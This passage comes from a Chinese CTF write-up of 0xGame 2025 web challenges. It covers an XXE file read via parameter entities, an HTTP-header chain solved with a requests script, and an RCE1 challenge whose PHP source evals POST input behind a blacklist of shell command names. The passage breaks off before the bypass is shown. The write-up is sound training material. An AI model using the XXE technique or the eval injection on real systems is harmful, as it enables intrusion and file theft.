&lt;li&gt;&lt;code&gt;%eval&lt;&#x2F;code&gt; 参数实体来自 &lt;code&gt;data:&#x2F;&#x2F;&lt;&#x2F;code&gt; URI，动态声明 &lt;code&gt;exfil&lt;&#x2F;code&gt; 通用实体，把 &lt;code&gt;%file;&lt;&#x2F;code&gt; 填入 &lt;code&gt;&amp;lt;data&amp;gt;...&amp;lt;&#x2F;data&amp;gt;&lt;&#x2F;code&gt; 标签内部，使解析器得到合法 XML；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;exfil;&lt;&#x2F;code&gt; 展开后，服务端再将 SimpleXML 导出的字符串嵌入 &lt;code&gt;&amp;lt;pre&amp;gt;&lt;&#x2F;code&gt;，因此最终响应中能看到 Base64 文本，解码即可得到 flag。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;zi-dong-hua-jiao-ben-1&quot;&gt;自动化脚本&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;路径：&lt;code&gt;[0xGame2025]guestbook-revenge&#x2F;solution&#x2F;solution.py&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;运行：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;uv&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; run&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; [0xGame2025]guestbook-revenge&#x2F;solution&#x2F;solution.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;输出末尾即为服务端响应与解码后的 flag。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;flag-1&quot;&gt;Flag&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$0xGame{1a903b96-173a-8b3d-8a37-a81934dc4187_xxe1919810}$&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;fu-pan-1&quot;&gt;复盘&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;旧版本的“留言板（粉）”中 XXE 未加约束，此次 &lt;code&gt;reVenge&lt;&#x2F;code&gt; 修补了“非预期”路径，但主逻辑依然允许外部实体。&lt;&#x2F;li&gt;
&lt;li&gt;关键在于处理好 XML 语法限制，通过参数实体把任意文件包进合法标签，避免 &lt;code&gt;Start tag expected&lt;&#x2F;code&gt; 报错。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;httpde-zhen-li-wo-yi-jie-ming-writeup&quot;&gt;Http的真理，我已解明 Writeup&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ti-mu-xin-xi-2&quot;&gt;题目信息&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;比赛：0xGame 2025 Week1 Web（作者 PureStream）&lt;&#x2F;li&gt;
&lt;li&gt;题目：Http的真理，我已解明（224 分，noob）&lt;&#x2F;li&gt;
&lt;li&gt;地址：&lt;code&gt;http:&#x2F;&#x2F;80-ad98a018-e0f5-46c5-87bb-dce59a2ba4ec.challenge.ctfplus.cn&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;jiao-hu-tan-ce&quot;&gt;交互探测&lt;&#x2F;h4&gt;
&lt;p&gt;初次访问页面可见提示：“用 GET 传递 hello=web”。按照提示逐步构造请求：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;GET &#x2F;?hello=web&lt;&#x2F;code&gt;
&lt;ul&gt;
&lt;li&gt;响应：继续提示“用 POST 传递 http=good”。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;POST &#x2F;?hello=web&lt;&#x2F;code&gt;，表单数据 &lt;code&gt;http=good&lt;&#x2F;code&gt;
&lt;ul&gt;
&lt;li&gt;响应：要求设置 Cookie &lt;code&gt;Sean=god&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;同时携带 &lt;code&gt;Cookie: Sean=god&lt;&#x2F;code&gt;
&lt;ul&gt;
&lt;li&gt;响应：提示“请使用 Safari 浏览器访问”。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;加上 &lt;code&gt;User-Agent: Safari&lt;&#x2F;code&gt;
&lt;ul&gt;
&lt;li&gt;响应：提示“请从 &amp;lt;www.mihoyo.com&amp;gt; 访问本页面”。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;引入 &lt;code&gt;Referer: www.mihoyo.com&lt;&#x2F;code&gt;
&lt;ul&gt;
&lt;li&gt;响应：提示“请使用 clash 这只猫猫来代理一下”。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;最后补上 &lt;code&gt;Via: clash&lt;&#x2F;code&gt;
&lt;ul&gt;
&lt;li&gt;成功返回 flag 以及“HTTP 协议的真理解明”消息。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;服务以逐步提示的方式引导我们补全 HTTP 请求要素。可以理解为一个多条件验证链，只有全部满足后才会执行最终分支返回 flag。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;zi-dong-hua-jiao-ben-2&quot;&gt;自动化脚本&lt;&#x2F;h4&gt;
&lt;p&gt;脚本路径：&lt;code&gt;[0xGame2025]http-truth&#x2F;solution&#x2F;solution.py&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;核心逻辑：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;params&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; =&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt; {&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;quot;hello&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;web&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;data&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; =&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt; {&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;quot;http&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;good&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;headers&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; =&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;    &amp;quot;User-Agent&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;Safari&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;    &amp;quot;Referer&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;www.mihoyo.com&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;    &amp;quot;Via&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;clash&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;cookies&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; =&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt; {&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;quot;Sean&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;god&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;requests&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;post&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;BASE&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt; params&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;params&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt; data&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;data&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt; headers&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;headers&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter&quot;&gt; cookies&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;cookies&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行方式：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;uv&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; run&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; [0xGame2025]http-truth&#x2F;solution&#x2F;solution.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出将包含完整页面内容及 flag。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;jie-guo&quot;&gt;结果&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;flag：&lt;code&gt;$0XGame{Congratuation_You_Are_Http_God!!!}$&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;fu-pan-xiao-jie&quot;&gt;复盘小结&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;这是对常见 HTTP 头&#x2F;参数的连环校验问题；&lt;&#x2F;li&gt;
&lt;li&gt;通过逐步观察响应，推断出需要满足的条件序列；&lt;&#x2F;li&gt;
&lt;li&gt;使用 &lt;code&gt;curl&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;requests&lt;&#x2F;code&gt; 自动化构造请求即可稳定拿flag。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;rce1-writeup&quot;&gt;RCE1 Writeup&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ti-mu-xin-xi-3&quot;&gt;题目信息&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;比赛：0xGame 2025 Week1 Web（作者 PureStream）&lt;&#x2F;li&gt;
&lt;li&gt;题目：RCE1（210 分，easy）&lt;&#x2F;li&gt;
&lt;li&gt;地址：&lt;code&gt;http:&#x2F;&#x2F;80-9e19ce66-5345-45b1-a0df-9990629073c0.challenge.ctfplus.cn&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;ti-mu-yuan-ma-yu-shen-ji&quot;&gt;题目源码与审计&lt;&#x2F;h4&gt;
&lt;p&gt;源码（首页直接 &lt;code&gt;highlight_file(__FILE__)&lt;&#x2F;code&gt;）关键片段：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;php&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;error_reporting&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;highlight_file&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-language z-php&quot;&gt;__FILE__&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-source&quot;&gt;$rce1&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; =&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-source&quot;&gt; $_GET&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;#39;rce1&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-source&quot;&gt;$rce2&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; =&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-source&quot;&gt; $_POST&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;#39;rce2&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-source&quot;&gt;$real_code&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; =&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-source&quot;&gt; $_POST&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;#39;rce3&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-source&quot;&gt;$pattern&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; =&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin&quot;&gt; &amp;#39;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;(?:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape&quot;&gt;\d&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;|&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;\$%&amp;amp;#@*&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;]&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;|system|cat|flag|ls|echo|nl|rev|more|grep|cd|cp|vi|passthru|shell|vim|sort|strings)&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end&quot;&gt;&#x2F;i&amp;#39;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-type&quot;&gt;function&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; check&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt;string&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-php&quot;&gt; $&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-parameters&quot;&gt;text&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; bool&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-modifier&quot;&gt;    global&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-source&quot;&gt; $pattern&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt; (&lt;&#x2F;span&gt;&lt;span class=&quot;z-storage z-type&quot;&gt;bool&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function&quot;&gt; preg_match&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-source&quot;&gt;$pattern&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-source&quot;&gt; $text&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;if&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt; (&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function&quot;&gt;isset&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-source&quot;&gt;$rce1&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; &amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function&quot;&gt; isset&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-source&quot;&gt;$rce2&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)){&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function&quot;&gt;md5&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-source&quot;&gt;$rce1&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; ===&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function&quot;&gt; md5&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-source&quot;&gt;$rce2&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; &amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-source&quot;&gt; $rce1&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; !==&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-source&quot;&gt; $rce2&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;){&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;!&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;check&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-source&quot;&gt;$real_code&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)){&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;            eval&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-source&quot;&gt;$real_code&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation&quot;&gt;        }&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; else&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;            echo&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;Don&amp;#39;t hack me ~&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation&quot;&gt;        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation&quot;&gt;    }&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; else&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;        echo&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;md5 do not match correctly&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation&quot;&gt;}&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; else&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;    echo&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;Please provide both rce1 and rce2&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;要点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;只有在满足 $md5(rce1) \equiv md5(rce2)$ 且 $rce1 \not\equiv rce2$ 的情况下，才会进入 &lt;code&gt;eval($real_code)&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;check($real_code)&lt;&#x2F;code&gt; 黑名单限制十分苛刻：任意数字、&lt;code&gt;$%&amp;amp;#@*&lt;&#x2F;code&gt; 以及常见命令与函数名（system、cat、ls、echo、strings 等）均被禁止。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;rao-guo-si-lu&quot;&gt;绕过思路&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;md5 严格相等的“伪造”条件：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
